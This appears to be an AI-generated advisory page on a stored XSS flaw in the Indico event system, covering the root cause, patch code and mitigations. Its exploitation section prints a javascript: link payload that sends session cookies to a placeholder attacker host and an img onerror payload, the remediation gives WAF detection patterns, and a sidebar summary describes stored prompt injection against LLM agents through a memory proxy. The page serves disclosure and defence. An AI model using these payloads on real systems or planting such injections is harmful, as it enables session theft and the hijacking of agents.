CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-107396

CVE-2026-107396: Stored Cross-Site Scripting (XSS) in Indico

Alon Barad
Alon Barad
Software Engineer

Oct 9, 2026·6 min read·18 visits

Executive Summary (TL;DR)

Stored XSS in Indico prior to 3.3.13 allows authenticated users to inject malicious URLs and scripts into custom links and event notes, executing in the context of victims' browsers.

A stored Cross-Site Scripting (XSS) vulnerability was identified in Indico, an open-source event management system developed at CERN, prior to version 3.3.13. The vulnerability stems from weak URL validation in custom link fields and lack of HTML sanitization during Marshmallow serialization of event notes. This allows authenticated attackers with event modification privileges to inject malicious payloads that execute in the browser of users viewing the event pages or collaborating on notes.

Vulnerability Overview

Indico is an open-source event management system developed at CERN, widely used for organizing conferences, workshops, and meetings. The platform supports complex workflows including registration, abstract submission, timetable scheduling, and collaborative document editing. To support these workflows, Indico allows organizers, submitters, and speakers to attach custom resources, define navigation menus, and collaboratively compile event minutes.\n\nPrior to version 3.3.13, Indico's input validation and data serialization layers suffered from weaknesses that exposed the platform to stored Cross-Site Scripting (XSS). Specifically, multiple fields that accept custom URLs did not validate the protocol scheme, and the collaborative notes compilation system failed to sanitize HTML content during data serialization.\n\nThese vulnerabilities allowed authenticated users with low privileges to store malicious payloads inside the application database. When other users, including administrators, view the affected event pages, click the poisoned links, or engage in concurrent document editing, the payload executes in their browser context under the origin of the Indico application. This can result in session takeover, unauthorized administrative actions, or exposure of confidential event metadata.

Root Cause Analysis

The vulnerability stems from two independent flaws in the application's input processing and output serialization pipelines, cataloged under CWE-692 (Incomplete Denylist to Cross-Site Scripting).\n\nThe first flaw resides in the input forms for custom links, such as event menu links (MenuLinkForm) and attachments (AttachmentLinkFormMixin). While these forms utilize WTForms' URLField, they did not enforce the URL() validator or restrict acceptable schemes. Consequently, the backend accepted any string as a valid URL. When rendering these fields in HTML templates, the application placed the raw URL directly into the href attribute of an anchor tag. Since there was no allowlist restricting protocols to http:// or https://, an attacker could inject pseudo-protocols like javascript: or data:. When a victim clicks the link, the browser executes the script immediately.\n\nThe second flaw is located in the serialization pipeline of the event notes module. Indico utilizes Marshmallow schemas (EventNoteSchema and CompiledEventNoteSchema) to serialize event minutes before sending them to the frontend during concurrent editing and conflict resolution. The application failed to apply HTML sanitization to the serialized outputs during the serialization process. If an attacker injected malicious HTML tags (such as <img src=x onerror=...> or <iframe src=...> with execution vectors), the unsanitized HTML was transmitted over the API and rendered raw in the collaborator's browser.

Code Analysis

An analysis of the patch in commit d4c8c7127176efa4cb53c64119ca8ee2b551be18 demonstrates how both vulnerability vectors were addressed.\n\nIn indico/modules/attachments/forms.py, the URL validator was added to link_url to enforce syntactically valid URLs:\n\npython\n# Vulnerable code\nclass AttachmentLinkFormMixin:\n title = StringField(_('Title'), [DataRequired()])\n link_url = URLField(_('URL'), [DataRequired()])\n\n# Patched code\nfrom wtforms.validators import URL, DataRequired, Optional, ValidationError\n\nclass AttachmentLinkFormMixin:\n title = StringField(_('Title'), [DataRequired()])\n link_url = URLField(_('URL'), [DataRequired(), URL()]) # Enforces valid URL format\n\n\nFor multi-link fields in indico/web/forms/fields/simple.py, a strict protocol prefix check was introduced to block dangerous pseudo-protocols:\n\npython\n# Vulnerable code\ndef pre_validate(self, form):\n if not all(x.get('url') for x in self.data):\n raise ValidationError(_('URL is required'))\n\n# Patched code\ndef pre_validate(self, form):\n if not all(x.get('url') for x in self.data):\n raise ValidationError(_('URL is required'))\n # Enforce safe URL schemes (http and https only)\n if not all(x['url'].startswith(('http://', 'https://')) for x in self.data):\n raise ValidationError(_('Only URLs starting with https:// (or http://) are allowed'))\n\n\nTo secure the notes collaborative editing pipeline, the developers integrated a @post_dump hook within the Marshmallow schemas to perform HTML sanitization on the serialized data before it is returned to the client:\n\npython\n# Patched indico/modules/events/notes/schemas.py\nfrom marshmallow import post_dump\nfrom indico.core.marshmallow import fields, mm\nfrom indico.modules.events.notes.models.notes import EventNoteRevision\nfrom indico.util.string import sanitize_html\n\nclass EventNoteSchema(mm.SQLAlchemyAutoSchema):\n class Meta:\n model = EventNote\n fields = ('id', 'html', 'note_author')\n\n note_author = fields.String(attribute='user.full_name')\n\n @post_dump\n def _sanitize_html(self, data, **kwargs):\n # Strip unsafe elements like onerror, script tags from HTML string\n data['html'] = sanitize_html(data['html'])\n return data\n

Exploitation Methodology

Exploiting the first vector requires an attacker to possess privileges to add links, such as creating an event layout menu item or adding an attachment to a meeting. The attacker navigates to the event creation or modification dashboard, selects 'Add Link', and enters a payload instead of a standard URL, such as javascript:fetch('https://attacker.com/steal?c='+btoa(document.cookie)). Once submitted, the payload is permanently stored in the Indico database. When an administrative or standard user visits the page and clicks on the link, the browser executes the JavaScript, sending the session cookies to the attacker's server.\n\nExploiting the second vector requires editing event minutes or notes. The attacker embeds a malicious HTML string, such as <img src=\"invalid-image\" onerror=\"alert(document.domain)\">, inside the markdown or HTML source editor. If another editor makes concurrent modifications, triggering a merge conflict, the backend serializes the raw HTML using the vulnerable schema. The client browser renders the merge interface, evaluates the unsanitized HTML, and fires the onerror event handler, triggering JavaScript execution.\n\nThese exploitation mechanisms can be represented as follows:\n\nmermaid\ngraph LR\n Attacker[\"Attacker with Low Privileges\"] -->|\"1. Inject javascript: payload\"| IndicoDB[(\"Indico Database\")]\n Victim[\"Victim/Admin User\"] -->|\"2. Click Link / View Note\"| IndicoDB\n IndicoDB -->|\"3. Render raw payload in href/HTML\"| Victim\n Victim -->|\"4. Send Session Cookie\"| AttackerC2[\"Attacker C2 Server\"]\n

Impact Assessment

The impact of this vulnerability is classified as Medium (CVSS 5.4). Since the exploit runs client-side under the domain origin of the Indico instance, the attacker inherits the security context of the victim's active session. If an administrator clicks a malicious link, the attacker can execute administrative APIs on their behalf, potentially modifying site configurations, granting administrative privileges to arbitrary accounts, or downloading restricted event records.\n\nAdditionally, because Indico is often integrated with external single sign-on (SSO) systems (such as CERN's SSO via Flask-Multipass), compromising an Indico session can provide attackers with pivot vectors into wider corporate environments depending on the configuration and scope of session cookies.\n\nThe requirement of user interaction (clicking the link or interacting with the note merger) and low privilege requirements mitigate the overall severity from high to medium. However, because the payload is stored and can target high-value administrative accounts, its operational impact remains high.

Remediation & Mitigation

The primary remediation for CVE-2026-107396 is upgrading the Indico instance to version 3.3.13 or later. The update introduces input sanitization and forces scheme checks on all custom URL fields.\n\nIf an immediate upgrade is not feasible, organizations can implement several mitigation strategies to neutralize the vulnerability. First, configure a strict Content Security Policy (CSP) header. By ensuring that 'unsafe-inline' is not present in the script-src directive, browsers will refuse to execute inline scripts or pseudo-protocols like javascript: even if they are successfully injected into the document body.\n\nSecond, implement Web Application Firewall (WAF) or Nginx reverse proxy filtering rules to detect and reject requests containing the javascript: prefix or unsafe HTML elements inside fields targeting layout or attachment API endpoints. For example, requests containing javascript\s*: or onerror\s*= in POST bodies can be blocked with a 403 Forbidden response.\n\nLastly, restrict attachment and layout modification permissions to trusted users to reduce the internal threat surface. Ensure that only verified event organizers and system administrators can add attachments or modify menu links.

Fix Analysis (1)

Technical Appendix

CVSS Score
5.4/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Affected Systems

Indico (event management system)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Indico
CERN
< 3.3.133.3.13
AttributeDetail
CWE IDCWE-692
Attack VectorNetwork (AV:N)
CVSS Score5.4 (Medium)
EPSS ScoreN/A
Exploit StatusPoC (Proof of Concept)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1204.002User Execution: Malicious Link
Execution
CWE-692
Incomplete Denylist to Cross-Site Scripting

The application attempts to prevent malicious payloads by enforcing partial validations, but fails to restrict URL protocols to an explicit, safe allowlist, permitting dangerous schemes like javascript: and data:.

Vulnerability Timeline

Fix commit d4c8c7127176efa4cb53c64119ca8ee2b551be18 implemented by ThiefMaster
2026-06-30
Indico 3.3.13 prepared for release
2026-09-15
GitHub Advisory GHSA-c4wc-ggrj-jg9v published
2026-10-08
NVD publishes CVE-2026-107396
2026-10-08

References & Sources

  • [1]GitHub Security Advisory GHSA-c4wc-ggrj-jg9v
  • [2]Official Fix Commit
  • [3]Pull Request #7619 (Sanitize Notes + Validate URLs)
  • [4]Indico v3.3.13 Release Notes
  • [5]CVE.org Authority Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•CVE-2026-58254
6.5

CVE-2026-58254: Authorization Bypass in NATS Server Message Tracing for Leaf Node Connections

NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.

Alon Barad
Alon Barad
11 views•10 min read
•2 days ago•CVE-2026-63341
7.5

CVE-2026-63341: Unauthenticated Denial of Service via Unbounded Topic Depth in Aedes MQTT Broker

CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.

Alon Barad
Alon Barad
16 views•12 min read
•2 days ago•CVE-2026-61725
6.1

CVE-2026-61725: Path Traversal and Arbitrary File Overwrite in sevenz-rust2

CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.

Alon Barad
Alon Barad
6 views•12 min read
•2 days ago•CVE-2026-77309
8.8

CVE-2026-77309: Unauthenticated Remote Code Execution in NASA-AMMOS AIT-GUI via Incomplete File Cleanup and Path Traversal

CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.

Amit Schendel
Amit Schendel
16 views•10 min read
•2 days ago•CVE-2026-77332
2.3

CVE-2026-77332: Surfaced-Memory Envelope Injection and Stored Prompt Injection in memtomem-stm

A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.

Alon Barad
Alon Barad
19 views•10 min read
•2 days ago•CVE-2026-77331
2.0

CVE-2026-77331: Race Condition and Session State Corruption in memtomem-stm

CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.

Amit Schendel
Amit Schendel
8 views•9 min read